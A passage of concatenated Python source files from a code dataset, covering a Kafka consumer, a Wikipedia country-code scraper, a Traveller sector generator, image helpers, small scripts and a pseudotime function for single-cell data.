\"\"\"Initialize using the params\n :param self: KNativeKafkaConsumer object \n :param topic: Kafka topic name\n Check whether the topic is passed as parameter, if not, get from the os.environ.\n If not avaiable in os.environ, set a default value.\n \"\"\"\n self.logger = logging.getLogger()\n self.logger.info(\"Initializing Kafka Consumer\")\n if topic:\n self.topic=topic\n elif 'KAFKA_TOPIC' in os.environ:\n self.topic=os.environ['KAFKA_TOPIC']\n else:\n self.topic=\"python-topic\"\n if 'KAFKA_BOOTSTRAP_SERVERS' in os.environ:\n bootstrap_server=os.environ['KAFKA_BOOTSTRAP_SERVERS']\n else:\n bootstrap_server='localhost:9092'\n self.consumer = KafkaConsumer(bootstrap_servers=bootstrap_server,\n auto_offset_reset='earliest',\n value_deserializer=bytes.decode)\n \n def getMessage(self) -> str:\n \"\"\"Get the message\n :param self: KNativeKafkaConsumer object \n :param server: Kafka bootstrap server \n :param topic: Kafka topic name \n :return: none\n \"\"\"\n print(\"**** Print the Messages ****\")\n self.consumer.subscribe([self.topic])\n for message in self.consumer:\n print(\"topic={} partition={} offset={} key={} value={}\".format(message.topic,\n message.partition,\n message.offset,\n message.key,\n message.value))\n return message.value\n \n\n\n \n","sub_path":"build/lib/knativekafka/knativekafkaconsumer.py","file_name":"knativekafkaconsumer.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"633260774","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass CodesSpider(scrapy.Spider):\n BASE_URL = 'https://en.wikipedia.org/'\n name = 'codes'\n start_urls = [\n '{}/wiki/List_of_ISO_3166_country_codes'.format(BASE_URL)\n ]\n\n def parse(self, response):\n # Get all table rows\n rows = response.xpath('//*[contains(@class,\"wikitable sortable\")]//tr')\n\n for row in rows[2:]:\n try:\n country_name = row.xpath('td/a//text()').extract_first()\n alpha_3 = row\\\n .css('a[title=\"ISO 3166-1 alpha-3\"]')\\\n .xpath('span//text()')\\\n .extract_first()\n alpha_2 = row\\\n .css('a[title=\"ISO 3166-1 alpha-2\"]')\\\n .xpath('span//text()')\\\n .extract_first()\n subdivision_link = '{}wiki/ISO_3166-2:{}'.format(\n self.BASE_URL,\n alpha_2\n )\n\n # Propagate data with subdivision regions and their codes\n request = scrapy.Request(\n subdivision_link,\n callback=self.get_subdivisions,\n meta={\n 'country_name': country_name,\n 'alpha_2': alpha_2,\n 'alpha_3': alpha_3,\n }\n )\n yield request\n except IndexError:\n pass\n\n def get_subdivisions(self, response):\n divisions = {}\n item = {}\n try:\n # rows = response.xpath('//*[contains(@class,\"wikitable sortable\")]//tr')\n table = response.xpath('//*[contains(@class,\"wikitable sortable\")]')[0]\n rows = table.xpath('*//tr')\n\n # Start looping through all rows, but add only with both code\n # and name extracted\n for row in rows:\n # Extract code\n code = row.xpath('td/span/text()')\n if not code:\n code = row.xpath('td/span/span/text()')\n code = code.extract_first()\n\n # Extract name\n name = row.xpath('td/a//text()')\n if not name:\n name = row.xpath('td/span/a//text()')\n name = name.extract_first()\n\n if code and name:\n divisions.update({\n name: code\n })\n item.update({\n 'Subdivisions': divisions,\n 'Subdivisions URL': response.url,\n })\n except IndexError:\n print('Did not find any tables for subdivisions for {}'.format(\n response.meta.get('country_name')\n )\n )\n\n item.update({\n 'Country name': response.meta.get('country_name'),\n 'ISO 3166-2': response.meta.get('alpha_2'),\n 'ISO 3166-3': response.meta.get('alpha_3'),\n })\n yield item\n\n","sub_path":"wikicodes/spiders/codes.py","file_name":"codes.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"286074435","text":"import gocept.testing.assertion\nimport zeit.cms.testing\nimport zeit.campus.testing\n\n\nclass ZCOGalleryCRUD(zeit.cms.testing.BrowserTestCase,\n gocept.testing.assertion.String):\n\n layer = zeit.campus.testing.LAYER\n\n def test_zco_gallery_has_facebook_campus_fields(self):\n b = self.browser\n b.open('http://localhost/++skin++vivi/repository/campus')\n menu = b.getControl(name='add_menu')\n menu.displayValue = ['Gallery']\n b.open(menu.value[0])\n\n b.getControl('File name').value = 'gallery'\n b.getControl('Title').value = 'title'\n b.getControl('Ressort', index=0).displayValue = ['Leben']\n b.getControl('Teaser title').value = 'teaser'\n b.getControl(name=\"form.image_folder\").value = (\n 'http://xml.zeit.de/online/2007/01')\n b.getControl(name='form.authors.0.').value = 'Author'\n\n b.getControl('Facebook Campus Text').value = 'mycampus'\n b.getControl(name='form.actions.add').click()\n\n self.assertEndsWith('@@overview.html', b.url)\n b.getLink('Edit metadata').click()\n self.assertEqual(\n 'mycampus', b.getControl('Facebook Campus Text').value)\n\n b.getLink('Checkin').click()\n self.assertEllipsis('...mycampus...', b.contents)\n","sub_path":"src/zeit/campus/browser/tests/test_gallery.py","file_name":"test_gallery.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"530979077","text":"#!/bin/python\n\n#se hara una simulacion de la cinematica de que corresponde a dos particulas\n#cargadas inmersas en un campo magnetico\n\nimport numpy as np \nimport FUNCIONES as FUN\n\nimport matplotlib.pyplot as plt \nfrom mpl_toolkits import mplot3d\n\n#se definen las funciones y variables globales que usaranen la simulacion.\n\n#Variables globales\nK=1.0\nB=(0,0,10)\ni=0\ndt=0.01\n\n#Se definen dos particulas con sus condiciones iniciales\n\nparticula_1=FUN.Particle(0., 0., 0., 0., 0., 0., 10, 10)\nparticula_2=FUN.Particle(1., 0., 0., 0., 0., 0., 10, -10)\n\n########################################################################################################################################################\n\n#Ahora almacenamos la informacion de nuestras particulas\n\nposicion_P1 = [[particula_1.X], [particula_1.Y], [particula_1.Z]]\nposicion_P2 = [[particula_2.X], [particula_2.Y], [particula_2.Z]]\n\nwhile(i<=10000):\n\n particula_1.Cambio_tmp(*FUN.lorenzt(particula_1, particula_2, dt))\n\n posicion_P1[0].append(particula_1.X)\n posicion_P1[1].append(particula_1.Y)\n posicion_P1[2].append(particula_1.Z)\n\n par_img = FUN.Particle(*particula_1.Estado_anterior) \n \n particula_2.Cambio_tmp(*FUN.lorenzt(particula_2, par_img, dt))\n \n posicion_P2[0].append(particula_2.X)\n posicion_P2[1].append(particula_2.Y)\n posicion_P2[2].append(particula_2.Z)\n \n i = i+1\n\n#######################################################################################################################################################\n\n##grafica de la trayectoria\n\nfig=plt.figure()\nax=plt.axes(projection='3d')\n\nax.set_xlabel(\"x\")\nax.set_ylabel(\"y\")\nax.set_zlabel(\"z\")\n\nplt.title(\"Trayectoria de dos particulas\\n con carga Q1 =%.1f y Q2 = %.1f\"%(particula_1.Carga, particula_2.Carga))\n\nax.plot3D(posicion_P1[0], posicion_P1[1], posicion_P1[2], label =\"Trayectoria de la particula_1\")\nax.plot3D(posicion_P2[0], posicion_P2[1], posicion_P2[2], label =\"Trayectoria de la particula_2\")\nplt.legend(loc=\"lower left\")\nax.scatter(0., 0., 0., color= \"b\")\nax.scatter(1., 0., 0., color= \"red\")\n\nplt.show()\n","sub_path":"Seguimiento/Seguimiento1/N1041328785/Segclasespython.py","file_name":"Segclasespython.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"470078928","text":"from operator import itemgetter, attrgetter\nimport os\nimport pickle\nfrom _collections import defaultdict\nimport random\n\ndata = '../data/gene.train.txt'\n\ntrain = '../data/train.txt'\ntest = '../data/test.txt'\n\nsentences=[]\n\ndef readData():\n f = open(data)\n \n \n t_sent=[]\n c=0\n for i in f.readlines(): \n text = i.strip()\n \n if len(text) == 0:\n sentences.append(t_sent);\n t_sent = []\n else:\n t_sent.append(text)\n \n if len(t_sent) != 0:\n sentences.append(t_sent)\n print(len(sentences)) \n print(sentences[-1]) \n f.close()\n \ndef splitData():\n index = int(0.80 * len(sentences))\n \n #random.shuffle(sentences)\n \n training = sentences[:index]\n testing = sentences[index:]\n \n f = open(train,'w')\n \n for i,sent in enumerate(training):\n for k in sent:\n f.write(k+\"\\n\")\n f.write('\\n') \n f.flush()\n \n f = open(test,'w')\n \n for i,sent in enumerate(testing):\n for k in sent:\n f.write(k+\"\\n\")\n f.write(''+'\\n') \n f.flush()\n \n f.close()\n \n print (training[-1]) \n print (testing[-1])\n \n createPickle('../data/testing.pkl', testing)\n \ndef createPickle(name,lst):\n fileObject = open(name,'wb') \n pickle.dump(lst,fileObject) \n fileObject.close() \n \n \nreadData() \nsplitData() ","sub_path":"code/crossValidate.py","file_name":"crossValidate.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"640971037","text":"'''Sector/subsector'''\nfrom __future__ import print_function\n\nfrom random import randint, seed\nimport re\nimport logging\nfrom T5_worldgen.system import System\nfrom T5_worldgen.util import Table\n\nLOGGER = logging.getLogger(__name__)\nLOGGER.setLevel(logging.CRITICAL)\n\n\nclass _MappingRegion(object):\n '''Sector/subsector base class'''\n\n system_presence_table = Table()\n system_presence_table.add_row('Extra galactic', 1)\n system_presence_table.add_row('Rift', 3)\n system_presence_table.add_row('Sparse', 17)\n system_presence_table.add_row('Scattered', 33)\n system_presence_table.add_row('Standard', 50)\n system_presence_table.add_row('Dense', 66)\n system_presence_table.add_row('Cluster', 83)\n system_presence_table.add_row('Core', 91)\n\n def __init__(self, name, density='Standard'):\n seed()\n self.name = name\n self.size_x = 0\n self.size_y = 0\n self.hexes = {}\n self.density = density\n\n def display(self):\n '''Display'''\n hexlist = sorted(self.hexes.keys())\n for hex_id in hexlist:\n print(self.hexes[hex_id].display())\n\n def as_list(self):\n '''Return contents as list'''\n out = []\n hexlist = sorted(self.hexes.keys())\n for hex_id in hexlist:\n out.append(self.hexes[hex_id].display())\n return out\n\n @staticmethod\n def percentile():\n '''1-100%'''\n return randint(1, 100)\n\n def process_hex(self, hex_id, ss_id=''):\n '''Add system on probability check'''\n name = 'Name-{}{}'.format(hex_id, ss_id)\n if self.percentile() <= \\\n self.system_presence_table.lookup(self.density):\n self.hexes[hex_id] = System(name, hex_id)\n\n def t5_tab(self):\n '''Output in T5 tab format'''\n out = ['\\t'.join([\n 'Hex', 'Name', 'UWP', 'Remarks', '{Ix}', '(Ex)', '[Cx]',\n 'Nobility', 'Bases', 'Zone', 'PBG', 'W', 'Allegiance',\n 'Stars'])]\n out.extend(self.as_list())\n return out\n\n def find_nearby_hexes(self, o_hex_id, radius=1):\n '''Find hexes within radius of hex_id'''\n\n '''\n B\n A C\n O\n F D\n E\n\n Add column of r+1 hexes starting at A, C\n Add column of r+2 hexes starting at A+1\n ... etc ...\n Add column of 2r hexes starting at B (excluding O)\n\n Hex IDs on A->B (and B->C) depend on co-ordinates of O, size of r\n '''\n nearby_hexes = []\n o_col = int(o_hex_id[:2])\n o_row = int(o_hex_id[2:])\n side_length = radius + 1\n a_col = o_col - radius\n c_col = o_col + radius\n if self._is_even(o_col):\n if self._is_even(radius):\n x_row = o_row - int(radius / 2) + 0.5\n else:\n x_row = o_row - int(radius / 2)\n else:\n if self._is_even(radius):\n x_row = o_row - int(radius / 2)\n else:\n x_row = o_row - int(radius / 2) - 0.5\n\n LOGGER.debug('O = %s radius = %s', o_hex_id, radius)\n LOGGER.debug('A = %s%s', a_col, x_row)\n col_length = side_length\n for col in range(0, radius):\n l_col = a_col + col\n r_col = c_col - col\n LOGGER.debug(\n 'l_col = %s r_col = %s x_row = %s',\n l_col, r_col, x_row)\n LOGGER.debug('col_length = %s', col_length)\n for idx in range(0, col_length):\n row = x_row + idx\n if l_col > 0 and int(row) > 0:\n l_hex_id = '{0:02d}{1:02d}'.format(l_col, int(row))\n LOGGER.debug('Adding %s', l_hex_id)\n nearby_hexes.append(l_hex_id)\n if r_col > 0 and int(row) > 0:\n r_hex_id = '{0:02d}{1:02d}'.format(r_col, int(row))\n LOGGER.debug('Adding %s', r_hex_id)\n nearby_hexes.append(r_hex_id)\n x_row -= 0.5\n col_length += 1\n for row in range(o_row - radius, o_row + radius + 1):\n if row > 0:\n hex_id = '{0:02d}{1:02d}'.format(o_col, row)\n if hex_id != o_hex_id:\n LOGGER.debug('Adding %s', hex_id)\n nearby_hexes.append(hex_id)\n return sorted(nearby_hexes)\n\n @staticmethod\n def _is_even(number):\n '''Return True for even number'''\n return float(number) / 2 == int(number / 2)\n\n def find_nearby_systems(self, hex_id, radius):\n '''Find worlds/systems in nearby hexes'''\n nearby_worlds = []\n for hex_id in self.find_nearby_hexes(hex_id, radius):\n if self.is_system(hex_id):\n nearby_worlds.append(self.is_system(hex_id))\n return nearby_worlds\n\n def is_system(self, hex_id):\n '''Return False if there is a system at hex_id, system otherwise'''\n if hex_id in self.hexes.keys():\n return self.hexes[hex_id]\n else:\n return False\n\n def find_owning_system(self, hex_id):\n '''Return hex_id for most important system within 6 hexes'''\n nearby_systems = self.find_nearby_systems(hex_id, 6)\n most_important_system_ix = []\n importance = -10\n for system in nearby_systems:\n if int(system.importance_x) == importance:\n most_important_system_ix.append(system)\n elif int(system.importance_x) > importance:\n most_important_system_ix = [system]\n importance = int(system.importance_x)\n if len(most_important_system_ix) > 1:\n # Need to resolve tie - use Population\n population = -1\n most_important_system_pop = []\n for system in most_important_system_ix:\n if int(system.mainworld.population) == population:\n most_important_system_pop.append(system)\n elif int(system.mainworld.population) > population:\n most_important_system_pop = [system]\n population = int(system.mainworld.population)\n if len(most_important_system_pop) > 1:\n # Another tie - resolve wth TL\n tech_level = -1\n most_important_system_tl = []\n for system in most_important_system_pop:\n if int(system.mainworld.tech_level) == tech_level:\n most_important_system_tl.append(system)\n elif int(system.mainworld.tech_level) > tech_level:\n most_important_system_tl = [system]\n tech_level = int(system.mainworld.tech_level)\n if len(most_important_system_tl) > 1:\n # Tie - pick one at random\n return(\n most_important_system_tl[randint(\n 0, len(most_important_system_tl) - 1)].hex\n )\n else:\n return most_important_system_tl[0].hex\n else:\n return most_important_system_pop[0].hex\n else:\n return most_important_system_ix[0].hex\n\n def trade_code_owning_system(self):\n '''Trade codes extra pass - O:'''\n for hex_id in self.hexes.keys():\n owned = False\n trade_codes = self.hexes[hex_id].mainworld.trade_codes\n for i, code in enumerate(trade_codes):\n if code.startswith('O:'):\n LOGGER.debug(\n 'Found owned system %s',\n str(hex_id))\n owner = self.find_owning_system(hex_id)\n trade_codes[i] = 'O:{}'.format(owner)\n owned = True\n if owned:\n self.hexes[hex_id].mainworld.trade_codes = trade_codes\n\n\nclass Subsector(_MappingRegion):\n '''Subsector\n Subsector(name)\n Optional\n - subsector_id (dflt = '')\n - density (dflt='Standard')\n '''\n def __init__(self, name, subsector_id='', density='Standard'):\n super(Subsector, self).__init__(name, density)\n self.size_x = 8\n self.size_y = 10\n self.base_x = 0\n self.base_y = 0\n self.subsector_id = subsector_id\n self.populate_subsector()\n\n def populate_subsector(self):\n '''Generate systems'''\n for x_coord in range(1, self.size_x + 1):\n for y_coord in range(1, self.size_y + 1):\n self.process_hex(\n '{0:02d}{1:02d}'.format(x_coord, y_coord),\n self.subsector_id)\n\n\nclass Sector(_MappingRegion):\n '''Sector'''\n def __init__(self, name, density='Standard'):\n super(Sector, self).__init__(name, density)\n self.size_x = 32\n self.size_y = 40\n self._subsector_offsets = {}\n self._determine_offsets()\n self.subsectors = {}\n self.generate_subsectors()\n self.get_system_hex = re.compile(r'^(\\d\\d\\d\\d)')\n # self.populate_hexes()\n self.populate_sector()\n self.trade_code_owning_system()\n self.populate_subsectors()\n\n def display(self):\n '''Display'''\n print('\\t'.join([\n 'Hex', 'Name', 'UWP', 'Remarks', '{Ix}', '(Ex)', '[Cx]',\n 'Nobility', 'Bases', 'Zone', 'PBG', 'W', 'Allegiance',\n 'Stars']))\n subsectors = 'AEIMBFJNCGKODHLP'\n for ss_id in subsectors:\n for hex_id in sorted(self.subsectors[ss_id].hexes.keys()):\n data = self.subsectors[ss_id].hexes[hex_id].display()\n # Transform hex to Sector co-ordinates\n print(self.transform_coordinates(data, ss_id))\n\n def t5_tab(self):\n '''Output in T5 tabular format'''\n out = ['\\t'.join([\n 'Hex', 'Name', 'UWP', 'Remarks', '{Ix}', '(Ex)', '[Cx]',\n 'Nobility', 'Bases', 'Zone', 'PBG', 'W', 'Allegiance',\n 'Stars'])]\n subsectors = 'AEIMBFJNCGKODHLP'\n for ss_id in subsectors:\n for hex_id in sorted(self.subsectors[ss_id].hexes.keys()):\n data = self.subsectors[ss_id].hexes[hex_id].display()\n # Transform hex to Sector co-ordinates\n out.append(self.transform_coordinates(data, ss_id))\n return out\n\n\n def generate_subsectors(self):\n '''Generate subsectors'''\n for ss_id in 'ABCDEFGHIJKLMNOP':\n self.subsectors[ss_id] = Subsector(\n 'Subsector-{}'.format(ss_id), ss_id, self.density)\n self.subsectors[ss_id].hexes = {}\n\n def _determine_offsets(self):\n '''Determine hex offsets by subsector_id'''\n for ctr, row in enumerate(['ABCD', 'EFGH', 'IJKL', 'MNOP']):\n for ss_id in row:\n offset_x = row.index(ss_id) * 8\n offset_y = ctr * 10\n self._subsector_offsets[ss_id] = (offset_x, offset_y)\n\n def transform_coordinates(self, system_data, ss_id):\n '''System data: transform hex to Sector co-ordinates'''\n orig = self.get_system_hex.match(system_data).group(1)\n x_id = int(orig[:2])\n y_id = int(orig[2:])\n x_id += self._subsector_offsets[ss_id][0]\n y_id += self._subsector_offsets[ss_id][1]\n new = '{0:02d}{1:02d}'.format(x_id, y_id)\n return system_data.replace(orig, new, 1)\n\n def as_list(self):\n '''Output subsectors as list'''\n out = []\n subsectors = 'AEIMBFJNCGKODHLP'\n for ss_id in subsectors:\n for hex_id in sorted(self.subsectors[ss_id].hexes.keys()):\n data = self.subsectors[ss_id].hexes[hex_id].as_list()\n # Transform hex to Sector co-ordinates\n print(self.transform_coordinates(data, ss_id))\n\n def populate_hexes(self):\n '''Populate hexes dict with subsector data'''\n self.hexes = {}\n for ss_id in self.subsectors.keys():\n subsector = self.subsectors[ss_id]\n for hex_id in subsector.hexes.keys():\n new_hex_id = self.transform_coordinates(hex_id, ss_id)\n self.hexes[new_hex_id] = subsector.hexes[hex_id]\n self.hexes[new_hex_id].hex = new_hex_id\n\n def populate_sector(self):\n '''Populate sector'''\n for x_coord in range(1, self.size_x + 1):\n for y_coord in range(1, self.size_y + 1):\n hex_id = '{0:02d}{1:02d}'.format(x_coord, y_coord)\n self.process_hex(hex_id, self.find_subsector_id(hex_id))\n\n @staticmethod\n def find_subsector_id(hex_id):\n '''hex_id in range 0000-3240, return subsector ID (A-P)'''\n hex_id_col = int(hex_id[:2]) - 1\n hex_id_row = int(hex_id[2:]) - 1\n try:\n return['ABCD', 'EFGH', 'IJKL', 'MNOP'][int(hex_id_row / 10)][int(hex_id_col / 8)]\n except IndexError:\n print(\n 'IndexError: hex_id = {} ({}, {})'.format(\n hex_id, hex_id_col, hex_id_row))\n raise\n\n def populate_subsectors(self):\n '''Populate subsectors using data from self.hexes'''\n for hex_id in self.hexes.keys():\n subsector_id = self.find_subsector_id(hex_id)\n # system = self.hexes[hex_id]\n jdata = self.hexes[hex_id].as_json()\n ss_hex_id = self.sector_hex_to_subsector_hex(hex_id)\n LOGGER.debug(\n 'hex_id = %s, ss_hex_id = %s ss_id = %s',\n hex_id, ss_hex_id, subsector_id)\n LOGGER.debug('(1) self.hexes.hex = %s', self.hexes[hex_id].hex)\n self.subsectors[subsector_id].hexes[ss_hex_id] = System()\n self.subsectors[subsector_id].hexes[ss_hex_id].json_import(jdata)\n self.subsectors[subsector_id].hexes[ss_hex_id].hex = ss_hex_id\n LOGGER.debug('(2) self.hexes.hex = %s', self.hexes[hex_id].hex)\n LOGGER.setLevel(logging.CRITICAL)\n\n @staticmethod\n def sector_hex_to_subsector_hex(hex_id):\n '''Transform sector hex_id to subsector hex_id'''\n hex_id_col = int(hex_id[:2])\n hex_id_row = int(hex_id[2:])\n col = hex_id_col % 8\n row = hex_id_row % 10\n if col == 0:\n col = 8\n if row == 0:\n row = 10\n return '{0:02d}{1:02d}'.format(col, row)\n\n def subsector_hex_to_sector_hex(self, hex_id, subsector_id):\n '''Transform subsector hex_id to sector hex_id, given subsector_id'''\n hex_id_col = int(hex_id[:2])\n hex_id_row = int(hex_id[2:])\n return '{0:02d}{1:02d}'.format(\n hex_id_col + self._subsector_offsets[subsector_id][0],\n hex_id_row + self._subsector_offsets[subsector_id][1]\n )\n\n\nclass MappingRegionPlugin(object):\n '''Mapping region plugin base class'''\n def __init__(self, region):\n self.hexes = region.hexes\n","sub_path":"T5_worldgen/mapping_region.py","file_name":"mapping_region.py","file_ext":"py","file_size_in_byte":14882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"105325814","text":"import scipy.misc\nimport numpy as np\nimport math\n\n\ndef center_crop(x, crop_h, crop_w, resize_h=64, resize_w=64):\n h, w = x.shape[:2]\n j = int(round((h - crop_h) / 2.))\n i = int(round((w - crop_w) / 2.))\n\n return scipy.misc.imresize(x[j:j + crop_h, i:i + crop_w], [resize_h, resize_w])\n\n\ndef transform(img, input_height, input_width, resize_height=64, resize_width=64, is_crop=True):\n if is_crop:\n cropped_image = center_crop(img, input_height, input_width,\n resize_height, resize_width)\n else:\n cropped_image = scipy.misc.imresize(img, [resize_height, resize_width])\n # normalize from [0, 255] to [-1, 1]\n return np.array(cropped_image) / 127.5 - 1.\n\n\ndef inverse_transform(img):\n # renormalize from [-1, 1] to [0, 1]\n return (img + 1.) / 2.\n\n\ndef merge(imgs, size):\n h, w = imgs.shape[1], imgs.shape[2]\n image = np.zeros((h * size[0], w * size[1], 3))\n for idx, img in enumerate(imgs):\n i = idx % size[1]\n j = idx // size[1]\n image[j * h:h * (j + 1), i * w:w * (i + 1), :] = img\n return image\n\n\ndef imsave(imgs, size, path):\n return scipy.misc.imsave(path, merge(imgs, size))\n\n\ndef imread(path, is_grayscale=False):\n if is_grayscale:\n return scipy.misc.imread(path, flatten=True).astype(np.float)\n else:\n return scipy.misc.imread(path).astype(np.float)\n\n\ndef save_images(images, size, image_path):\n return imsave(inverse_transform(images), size, image_path)\n\n\ndef visualize(sess, model, batch_size, save_path, step):\n image_frame_dim = int(math.ceil(batch_size ** .5))\n z_sample = np.random.uniform(-0.5, 0.5, size=(batch_size, model.z_dim))\n samples = sess.run(model.samples, feed_dict={model.z_pl: z_sample})\n img_path = '{path}/step_{step}.png'.format(path=save_path, step=step)\n save_images(samples, [image_frame_dim, image_frame_dim], img_path)\n\n\ndef get_image(image_path, input_height, input_width,\n resize_height=64, resize_width=64,\n is_crop=True, is_grayscale=False):\n image = imread(image_path, is_grayscale)\n\n return transform(image, input_height, input_width, resize_height, resize_width, is_crop)","sub_path":"img_utils.py","file_name":"img_utils.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"594719240","text":"#-*- coding:utf-8 -*-\nimport requests,os,sys,io\nimport json,re\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='gb18030')\n\nurl = 'http://www.weather.com.cn/weather1d/101270101.shtml#input'\nurl1 = 'http://httpbin.org/get'\nresponse = requests.get(url)\nresponse.encoding='utf-8'\n# print(response.text)\nhtml = (response.text)\n# print(html)\n# pattern = re.compile('.*?(.*?)',re.S)\ndef get_local_weather():\n pattern = re.compile('
  • .*?(.*?).*?(.*?).*?
  • ',re.S)\n items = re.findall(pattern,html)\n print(items)\n for item in items:\n yield {\n 'local':item[0],\n 'weather':item[1]\n }\n\ndef main():\n for item in get_local_weather():\n print(item)\n\nif __name__ == '__main__':\n # get_local_weather()\n main()\n\n","sub_path":"sometests/restest.py","file_name":"restest.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"159485629","text":"import re\n\n\nwrong_ids_list = [str(i) for i in range(100, 26381)]\n\n\nitems = open('items12_v2.txt')\nitems_content = items.read()\n\nitems_list = items_content.split('\\n')\nitems_list.pop()\n\n\nitems_dict = {}\n\nfor item in items_list:\n k, v = item.split('#')\n items_dict[k] = v\n\nnew_wrong_ids_list = []\nmissing_ids_list = []\n\nfor wrong_id in wrong_ids_list:\n if wrong_id not in items_dict:\n missing_ids_list.append(wrong_id)\n else:\n new_wrong_ids_list.append(wrong_id)\n\n\nitems_xml = open('items.xml')\nlines = items_xml.readlines()\nitems_xml.close()\n\nnew_items_xml = open('items_v2.xml', 'w')\n\nfor line in lines:\n m = re.search('id=\"(\\d+)\"', line)\n if m:\n itemid = m.group(1)\n m2 = re.search('name=\"(\\w+)\"', line)\n if m2:\n name = m2.group(1)\n if m and m2 and itemid and name and itemid in new_wrong_ids_list:\n new_items_xml.write(line.replace(name, items_dict[itemid]))\n else:\n new_items_xml.write(line)\n\nnew_items_xml.close()\n\nprint(missing_ids_list)\n\n","sub_path":"items12_script.py","file_name":"items12_script.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"331595394","text":"import os\npath='/Users/******/Desktop/' #這就是欲進行檔名更改的檔案路徑,路徑的斜線是為/,要留意下!\nfiles=os.listdir(path)\n# print(files) #印出讀取到的檔名稱,用來確認自己是不是真的有讀到\n# n = 0\n# for i in files:\n# n = n + 1\n# print(\"n=%s\"%(n))\nn=0 #設定初始值\nprint(\"oldName%d\"%(n))\nfor i in files:\n oldname=files[n] #指出檔案現在的路徑名稱,[n]表示第n個檔案\n newname=\"11_12_\"+str(n)+'.jpg'\n print(oldname)\n print(newname)\n os.rename (os.path.join(path, oldname),os.path.join(path, newname))\n n = n + 1\n","sub_path":"changeName.py","file_name":"changeName.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"386501595","text":"class Solution:\n def countDigitOne(self, n: int) -> int:\n \"\"\"\n 思路: 以 5014 为例, 计算 \"十位\" 上的1的个数, 分为两部分:\n hight = 501, low = 4\n 第一部分-高位:\n [0-49]1[0-9] 一共 50 = hight // 10 *digit\n 考虑到如果是 5024的话, 实际高位是 \n [0-50]1[0-9] 所以需要比较\"十位\"上的数和目标数target的关系, 如果 \"十位\" > target, 则[]高位总数+1], 否则[高位总数-1]\n 所以只需要加上修正因子 offset = 9 - target,\n 最终高位总数 = (hight + offset) // 10 * digit\n \n 第二部分-低位:\n 计算完了高位[0-49]1[0-9], 低位就是 [50]1[0]-[50]1[4]了, 和明显是 4 + 1个, 但是如果 \"十位\" < target,\n 也就是如果是计算\"2\"的个数的话, 那么[50]1[0]-[50]1[4]就是0个了\n 所以, \n 最终低位总数 = low + 1 if hight % 10 == target else 0 \n \"\"\"\n\n if n == 0:\n return 0\n if n <= 9:\n return 1\n digit = 1\n cnt = 0\n target = 1\n offset = 9 - target\n while digit <= n:\n hight, low = n // digit, n % digit\n cnt += (hight + offset) // 10 * digit + (low + 1 if hight % 10 == target else 0)\n digit *= 10\n return cnt\n","sub_path":"233_NumberOfDigitOne/countDigitOne.py","file_name":"countDigitOne.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"122716725","text":"from reportlab.rl_settings import defaultPageSize\nfrom reportlab.lib.units import inch\nbirth_Title = \"National Government of Kenya\"\nbirth_page_info = \"Birth Certificate\"\nPAGE_HEIGHT = defaultPageSize[1]\nPAGE_WIDTH = defaultPageSize[0]\n\n\ndef birth_page(canvas, doc):\n canvas.saveState()\n canvas.setFont('Times-Bold',16)\n canvas.drawCentredString(PAGE_WIDTH/2.0, PAGE_HEIGHT-108, birth_Title)\n canvas.setFont('Times-Roman',9)\n canvas.drawString(inch, 0.75 * inch, \"First Page / %s\" % birth_page_info)\n canvas.restoreState()\n","sub_path":"certmanagement/print_certificates.py","file_name":"print_certificates.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"299775138","text":"import time\nimport numpy as np\nfrom sklearn.metrics.pairwise import euclidean_distances\n\nimport logging\nlogger = logging.getLogger(__name__)\ntry:\n import igraph\nexcept ImportError as error:\n logger.error(\"Need python-igraph! Try 'pip install python-igraph'.\")\nfrom collections import deque\n\nfrom typing import List\nfrom anndata import AnnData\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom pegasusio import timer\n\n\n\n@timer(logger=logger)\ndef calc_pseudotime(data: AnnData, roots: List[str]) -> None:\n \"\"\"Calculate Pseudotime based on Diffusion Map.\n\n Parameters\n ----------\n data: ``anndata.AnnData``\n Annotated data matrix with rows for cells and columns for genes.\n\n roots: ``List[str]``\n List of cell barcodes in the data.\n\n Returns\n -------\n ``None``\n\n Update ``data.obs``:\n * ``data.obs[\"pseudotime\"]``: Pseudotime result.\n\n Examples\n --------\n >>> pg.calc_pseudotime(adata, roots = list(adata.obs_names[0:100]))\n \"\"\"\n\n if not isinstance(roots, list):\n roots = [roots]\n\n if \"X_diffmap\" not in data.obsm.keys():\n raise ValueError(\"Please run diffmap first!\")\n\n data.uns[\"roots\"] = roots\n mask = np.isin(data.obs_names, data.uns[\"roots\"])\n distances = np.mean(\n euclidean_distances(data.obsm[\"X_diffmap\"][mask, :], data.obsm[\"X_diffmap\"]),\n axis=0,\n )\n dmin = distances.min()\n dmax = distances.max()\n data.obs[\"pseudotime\"] = (distances - dmin) / (dmax - dmin)\n\n\n\ndef calc_diffmap_dis(data: AnnData, source: str, t: int, save_to: str) -> None:\n mask = 